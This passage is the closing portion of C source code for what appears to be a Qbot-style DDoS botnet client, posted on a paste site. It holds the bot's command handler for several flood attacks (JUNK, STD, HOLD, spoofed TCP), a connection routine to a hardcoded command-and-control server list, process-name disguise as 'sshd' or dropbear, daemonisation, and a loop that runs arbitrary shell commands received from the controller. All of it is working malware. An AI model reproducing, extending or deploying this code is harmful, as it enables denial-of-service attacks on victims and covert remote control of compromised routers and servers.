  2531. if(!listFork())
  2532. {
  2533. sendJUNK(hi, port, time);
  2534. sendSTD(hi, port, time);
  2535. sendHOLD(hi, port, time);
  2536. close(D1ckSucka);
  2537. _exit(0);
  2538. }
  2539. hi = strtok(NULL, ",");
  2540. }
  2541. } else {
  2542. if (listFork()) { return; }
  2543. sendJUNK(ip, port, time);
  2544. sendSTD(ip, port, time);
  2545. sendHOLD(ip, port, time);
  2546. _exit(0);
  2547. }
  2548. }
  2549. if(!strcmp(argv[0], "STD"))
  2550. {
  2551. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2552. {
  2553. return;
  2554. }
  2555. unsigned char *ip = argv[1];
  2556. int port = atoi(argv[2]);
  2557. int time = atoi(argv[3]);
  2558. if(strstr(ip, ",") != NULL)
  2559. {
  2560. unsigned char *hi = strtok(ip, ",");
  2561. while(hi != NULL)
  2562. {
  2563. if(!listFork())
  2564. {
  2565. sendSTD(hi, port, time);
  2566. _exit(0);
  2567. }
  2568. hi = strtok(NULL, ",");
  2569. }
  2570. } else {
  2571. if (listFork()) { return; }
  2572. sendSTD(ip, port, time);
  2573. _exit(0);
  2574. }
  2575. }
  2576. if(!strcmp(argv[0], "TCP"))
  2577. {
  2578. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  2579. {
  2580. return;
  2581. }
  2582. unsigned char *ip = argv[1];
  2583. int port = atoi(argv[2]);
  2584. int time = atoi(argv[3]);
  2585. int spoofed = atoi(argv[4]);
  2586. unsigned char *flags = argv[5];
  2587. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  2588. int psize = argc > 6 ? atoi(argv[6]) : 0;
  2589. if(strstr(ip, ",") != NULL)
  2590. {
  2591. unsigned char *hi = strtok(ip, ",");
  2592. while(hi != NULL)
  2593. {
  2594. if(!listFork())
  2595. {
  2596. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  2597. _exit(0);
  2598. }
  2599. hi = strtok(NULL, ",");
  2600. }
  2601. } else {
  2602. if (listFork()) { return; }
  2603. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  2604. _exit(0);
  2605. }
  2606. }
  2607. if(!strcmp(argv[0], "KILLATTK"))
  2608. {
  2609. int killed = 0;
  2610. unsigned long i;
  2611. for (i = 0; i < numpids; i++) {
  2612. if (pids[i] != 0 && pids[i] != getpid()) {
  2613. kill(pids[i], 9);
  2614. killed++;
  2615. }
  2616. }
  2617. }
  2618. if(!strcmp(argv[0], "HOODASSSHIT"))
  2619. {
  2620. exit(0);
  2621. }
  2622. }
  2623. int initConnection()
  2624. {
  2625. unsigned char server[4096];
  2626. memset(server, 0, 4096);
  2627. if(D1ckSucka) { close(D1ckSucka); D1ckSucka = 0; }
  2628. if(D1ckSuckaz + 1 == SERVER_LIST_SIZE) D1ckSuckaz = 0;
  2629. else D1ckSuckaz++;
  2630. strcpy(server, hekkertelnet[D1ckSuckaz]);
  2631. int port = Server_Botport;
  2632. if(strchr(server, ':') != NULL)
  2633. {
  2634. port = atoi(strchr(server, ':') + 1);
  2635. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2636. }
  2637. D1ckSucka = socket(AF_INET, SOCK_STREAM, 0);
  2638. if(!connectTimeout(D1ckSucka, server, port, 30)) return 1;
  2639. return 0;
  2640. }
  2641. int getOurIP()
  2642. {
  2643. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2644. if(sock == -1) return 0;
  2645. struct sockaddr_in serv;
  2646. memset(&serv, 0, sizeof(serv));
  2647. serv.sin_family = AF_INET;
  2648. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  2649. serv.sin_port = htons(53);
  2650. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2651. if(err == -1) return 0;
  2652. struct sockaddr_in name;
  2653. socklen_t namelen = sizeof(name);
  2654. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2655. if(err == -1) return 0;
  2656. ourIP.s_addr = name.sin_addr.s_addr;
  2657. int cmdline = open("/proc/net/route", O_RDONLY);
  2658. char linebuf[4096];
  2659. while(fdgets(linebuf, 4096, cmdline) != NULL)
  2660. {
  2661. if(strstr(linebuf, "\t00000000\t") != NULL)
  2662. {
  2663. unsigned char *pos = linebuf;
  2664. while(*pos != '\t') pos++;
  2665. *pos = 0;
  2666. break;
  2667. }
  2668. memset(linebuf, 0, 4096);
  2669. }
  2670. close(cmdline);
  2671. if(*linebuf)
  2672. {
  2673. int i;
  2674. struct ifreq ifr;
  2675. strcpy(ifr.ifr_name, linebuf);
  2676. ioctl(sock, SIOCGIFHWADDR, &ifr);
  2677. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2678. }
  2679. close(sock);
  2680. }
  2681. char *getBuild()
  2682. {
  2683. if(access("/usr/bin/python", F_OK) != -1){
  2684. return "SERVER";
  2685. } else {
  2686. return "ROUTER";
  2687. }
  2688. }
  2689. int main(int argc, unsigned char *argv[])
  2690. {
  2691. char *mynameis = "";
  2692. if(access("/usr/bin/python", F_OK) != -1){
  2693. mynameis = "sshd";
  2694. } else {
  2695. mynameis = "/usr/sbin/dropbear";
  2696. }
  2697. if(geteuid() == 0){
  2698. userID = 0;
  2699. }
  2700. char *Buildz = getBuild();
  2701. if(Buildz == "SERVER")
  2702. {
  2703. //If python is installed
  2704. } else {
  2705. //If python is not installed
  2706. }
  2707. if(SERVER_LIST_SIZE <= 0) return 0;
  2708. printf("BUILD %s:%s\n", getBuild(), inet_ntoa(ourIP));
  2709. strncpy(argv[0],"",strlen(argv[0]));
  2710. sprintf(argv[0], mynameis);
  2711. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  2712. srand(time(NULL) ^ getpid());
  2713. init_rand(time(NULL) ^ getpid());
  2714. pid_t pid1;
  2715. pid_t pid2;
  2716. int status;
  2717. getOurIP();
  2718. if (pid1 = fork()) {
  2719. waitpid(pid1, &status, 0);
  2720. exit(0);
  2721. } else if (!pid1) {
  2722. if (pid2 = fork()) {
  2723. exit(0);
  2724. } else if (!pid2) {
  2725. } else {
  2726. //N
  2727. }
  2728. } else {
  2729. //N
  2730. }
  2731. setsid();
  2732. chdir("/");
  2733. signal(SIGPIPE, SIG_IGN);
  2734. while(1)
  2735. {
  2736. if(initConnection()) { sleep(5); continue; }
  2737. HackerPrint(D1ckSucka, "\x1b[1;37m [DEVICE] Connected-> \x1b[1;31m| \x1b[1;34mIP: \x1b[1;35m%s \x1b[1;31m| \x1b[1;34mType: \x1b[1;35m%s \x1b[1;31m| \x1b[1;37mVersion: \x1b[1;35m%s", inet_ntoa(ourIP), getBuild(), VERSION);
  2738. char commBuf[4096];
  2739. int got = 0;
  2740. int i = 0;
  2741. while((got = recvLine(D1ckSucka, commBuf, 4096)) != -1)
  2742. {
  2743. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2744. unsigned int *newpids, on;
  2745. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2746. pids[on - 1] = 0;
  2747. numpids--;
  2748. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2749. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2750. free(pids);
  2751. pids = newpids;
  2752. }
  2753. commBuf[got] = 0x00;
  2754. trim(commBuf);
  2755. if(strstr(commBuf, "PING") == commBuf)
  2756. {
  2757. HackerPrint(D1ckSucka, "PONG");
  2758. continue;
  2759. }
  2760. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  2761. unsigned char *message = commBuf;
  2762. if(*message == '!')
  2763. {
  2764. unsigned char *nickMask = message + 1;
  2765. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2766. if(*nickMask == 0x00) continue;
  2767. *(nickMask) = 0x00;
  2768. nickMask = message + 1;
  2769. message = message + strlen(nickMask) + 2;
  2770. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2771. unsigned char *command = message;
  2772. while(*message != ' ' && *message != 0x00) message++;
  2773. *message = 0x00;
  2774. message++;
  2775. unsigned char *tmpcommand = command;
  2776. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2777. if(strcmp(command, "") == 0)
  2778. {
  2779. unsigned char buf[1024];
  2780. int command;
  2781. if (listFork()) continue;
  2782. memset(buf, 0, 1024);
  2783. szprintf(buf, "%s 2>&1", message);
  2784. command = fdpopen(buf, "r");
  2785. while(fdgets(buf, 1024, command) != NULL)
  2786. {
  2787. trim(buf);
  2788. memset(buf, 0, 1024);
  2789. sleep(1);
  2790. }
  2791. fdpclose(command);
  2792. exit(0);
  2793. }
  2794. unsigned char *params[10];
  2795. int paramsCount = 1;
  2796. unsigned char *pch = strtok(message, " ");
  2797. params[0] = command;
  2798. while(pch)
  2799. {
  2800. if(*pch != '\n')
  2801. {
  2802. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2803. memset(params[paramsCount], 0, strlen(pch) + 1);
  2804. strcpy(params[paramsCount], pch);
  2805. paramsCount++;
  2806. }
  2807. pch = strtok(NULL, " ");
  2808. }
  2809. processCmd(paramsCount, params);
  2810. if(paramsCount > 1)
  2811. {
  2812. int q = 1;
  2813. for(q = 1; q < paramsCount; q++)
  2814. {
  2815. free(params[q]);
  2816. }
  2817. }
  2818. }
  2819. }
  2820. }
  2821. return 0;
  2822. }
Advertisement
Add Comment
Please, Sign In to add comment